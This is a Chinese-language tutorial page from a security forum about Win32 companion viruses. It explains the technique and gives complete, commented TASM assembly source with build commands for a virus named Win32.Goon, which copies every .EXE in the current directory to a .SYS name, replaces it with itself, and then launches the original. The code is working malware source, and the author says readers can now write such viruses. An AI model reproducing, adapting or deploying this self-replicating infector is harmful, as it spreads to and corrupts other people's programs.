通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
对简单Win32伴侣病毒的研究
责任编辑:水土不服   更新日期:2007-1-30
 

朋友们好,今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它!

【声明:文中代码仅供参考,请勿用于不当之处!】

1.什么是伴侣病毒

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名。当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原理图。

第一步:

/-------------\ /-----------\

| | | |

| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

| | ;原先文件名 | | ;API函数: GetCommandLineA

\-------------/ \-----------/

第二步:

/-------------\ /-----------\

| | | |

| Program.EXE | | Virus.EXE |

| | | |

\-------------/ \-----------/

|

|

复制为

|

|

/-------------\

| |

| Program.SYS |

| |

\-------------/

第三步:

/-------------\ /-----------\

| | | |

| Program.EXE |<---------复制为-----------| Virus.EXE |

| | | |

\-------------/ \-----------/

恢复方法:

删除Program.EXE,把Program.SYS重命名回Program.EXE,所做就这些了。

2.伴侣病毒如何工作的

(1) 获取病毒文件的文件名

(2)创建宿主文件的原先文件名

(3)在当前目录搜索到第一个文件

(4)将目标文件复制为另一个文件名

(5)把病毒文件复制为目标文件的原先文件名

(6)搜索下一个文件->重复(4) -->没有其他文件 跳到7.

(7)运行宿主程序 (经过了步骤2)

(8)病毒退出

3.带注释的病毒例子

理论够充足了,让我们看它怎么工作。编译方法:

TASM32 /z /ml /m3 Goon,,; 
TLINK32 -Tpe -c Goon,Goon,, import,lib 


;-----cut----------------------------------------Goon.asm-------------------
.386     ;386指令集 
.model flat    ;内存平坦模式 
jumps     ;TASM rulez 

;+++++ 
; 你能理解,我想 :) 
;+++++ 


extrn GetCommandLineA :PROC  ;获取病毒文件和宿主文件 
extrn lstrcpyA  :PROC  ;复制字符串 
extrn FindFirstFileA :PROC  ;搜索当前目录第一个匹配的文件 
extrn FindNextFileA :PROC  ;通过文件句柄搜索下一个文件 
extrn CopyFileA  :PROC  ;复制文件 (往上看 _2_) 
extrn CreateProcessA :PROC  ;运行宿主 
extrn ExitProcess :PROC  ;退出病毒程序  

;+++++ 
; 这里,我们声明必需的API函数 
; 我想你能理解 
;+++++ 


.data 
Goon   db ’Win32.Goon - Virus’,0 
   db ’Only a Example Code’,0 
   db ’by  DiA/auXnet’,0 


FILETIME  STRUC 
FT_dwLowDateTime dd ? 
FT_dwHighDateTime dd ? 
FILETIME  ENDS 

WIN32_FIND_DATA          label    byte 
 WFD_dwFileAttributes    dd       ? 
 WFD_ftCreationTime      FILETIME ? 
 WFD_ftLastAccessTime    FILETIME ? 
 WFD_ftLastWriteTime     FILETIME ? 
 WFD_nFileSizeHigh       dd       ? 
 WFD_nFileSizeLow        dd       ? 
 WFD_dwReserved0         dd       ? 
 WFD_dwReserved1         dd       ? 
 WFD_szFileName          db       260d dup (?) 
 WFD_szAlternateFileName db       13   dup (?) 
 WFD_szAlternateEnding   db       03   dup (?) 

;+++++ 
; 这是 Win32 Find data: 
; 这里保存关于目标文件的所有数据 
; 我们仅仅对包含目标文件的名称的"WFD_szFileName" 
; 记住我们必须复制目标文件成另外一个文件名, 
; 而把病毒复制成目标文件最先的文件名 
;+++++ 


VirusFile  db 260d dup (0) 
HostFile  db 260d dup (0) 
HostCopy  db 260d dup (0) 

;+++++ 
; 这里创建文件名的空间:病毒文件名,宿主文件名, 
; 还有我们必须创建的文件名(从目标文件复制) 
;+++++ 


FileMask  db ’*.EXE’,0 
FindHandle  dd 0 
ProcessInfo  dd 4 dup (0) 
StartupInfo  dd 4 dup (0) 

;+++++ 
; 包含我们必须搜索的文件 
; FileHandle 包含搜索的文件的句柄 (FindNextFileA) 
; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要) 
;+++++ 


.code 
start: 

;+++++ 
; ROCK ’N ROLL =) 
;+++++ 


call GetCommandLineA 

;+++++ 
; 这里我们获取包含正在运行的程序文件名的CommandLine 
; (病毒文件 :). 现在,line 在eax了, 看下一步... 
;+++++ 


inc eax     ; **** da " 
push eax 
push offset VirusFile 
call lstrcpyA    ;复制它 

;+++++ 
; 为什么要’inc eax’??? 
; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ") 
; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方 
; 它从eax复制到VirusFile 
;+++++ 


mov esi,offset VirusFile  ;now in esi 
call GetPoint    ;call a kewl procedure ;) 

;+++++ 
; we must find da point to **** the other " 
; 让我们看看... 
;+++++ 


mov dword ptr [esi+4],00000000d  ;清除它 

;+++++ 
; 我们走到.EXE后面并清除"号 
; ->现在我们得到完整funcional VirusFile 
;+++++ 


push offset VirusFile 
push offset HostFile 
call lstrcpyA 

;+++++ 
; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS) 
; ... 
;+++++ 


mov esi,offset HostFile 
call GetPoint 

;+++++ 
; 得到指针... 
;+++++ 


mov dword ptr [esi],5359532Eh  ;5359532Eh = ’SYS.’ 

;+++++ 
; 把它重命名为 .SYS (last 4 letters with point) 
; 现在我们得到HostFile, 可能运行宿主... 
; ...但是等等! 我们必须感染文件!!! 
;+++++ 


push offset WIN32_FIND_DATA 
push offset FileMask 
call FindFirstFileA 
mov dword ptr [FindHandle],eax  ;保存句柄 

;+++++ 
; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看... 
; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它... 
;+++++ 


FindNext: 
test eax,eax    ;还有文件? 
jz RunHost    ;如果没有就跳到RunHost 

;+++++ 
; 当eax是null,说明当前目录里没有更多的文件可以被感染了 
; 所有的文件都感染后就运行宿主 
;+++++ 


push offset WFD_szFileName 
push offset HostCopy 
call lstrcpyA 

;+++++ 
; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它 
;+++++ 


mov esi,offset HostCopy 
call GetPoint 

;+++++ 
; 得到指针来重命名文件名为.SYS 
; 稍后使用它复制原先的文件为宿主文件 
;+++++ 


mov dword ptr [esi],5359532Eh  ; SYS. 

;+++++ 
; 把它重命名为 .SYS (last 4 letters) 
; 现在我们做所以工作完成感染目标文件: 
; 病毒文件名 
; 原先文件名 
; 重命名目标文件名 
; rock ’n roll =) 
;+++++ 


push 1     ;如果文件已存在就不复制 
push offset HostCopy 
push offset WFD_szFileName 
call CopyFileA 

;+++++ 
; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys 
; 如果文件已经存在,我们就不要复制它,我们不能复制它两次 
;+++++ 


push 0     ;无条件复制 
push offset WFD_szFileName 
push offset VirusFile 
call CopyFileA 

;+++++ 
; 我们复制病毒为目标.EXE文件 
; 无条件复制,因为我们不能有两个宿主而没有病毒 
;+++++ 


push offset WIN32_FIND_DATA 
push dword ptr [FindHandle] 
call FindNextFileA 
jmp FindNext 

;+++++ 
; 你还记得我们保存FindHandle吧... 
; 我们搜索更多的文件! 
; 跳到FindNext并检查更多的文件 
;+++++ 


RunHost: 
xor eax,eax    ;null 
push offset ProcessInfo   ;这个,我们不感兴趣 
push offset StartupInfo   ;... 
push eax 
push eax 
push 00000010h    ;创建进程 
push eax 
push eax 
push eax 
push offset HostFile 
push offset HostFile   ;运行它 
call CreateProcessA 

;+++++ 
; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行 
;+++++ 


push 0 
call ExitProcess 

;+++++ 
; 所有这些做完,我们把控制交给宿主 
;+++++ 


GetPoint: 
cmp byte ptr [esi],’.’   ;point? 
jz FoundPoint    ;je return 
inc esi     ;scan next place 
jmp GetPoint 
FoundPoint: 
ret     ;return 

;+++++ 
; at last the GetPoint procedure... 
; scan for ’.’ and if found return to place where are called 
;+++++ 


end start 

;+++++ 
; 晚安 
;+++++ 

;-----cut------------------------------------------------------------

4.结束语

嗯,教程完毕,现在你可以写Win32伴侣病毒了。向Benny/29A表示致谢,是你用杰出的文章激发我写下这篇教程。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题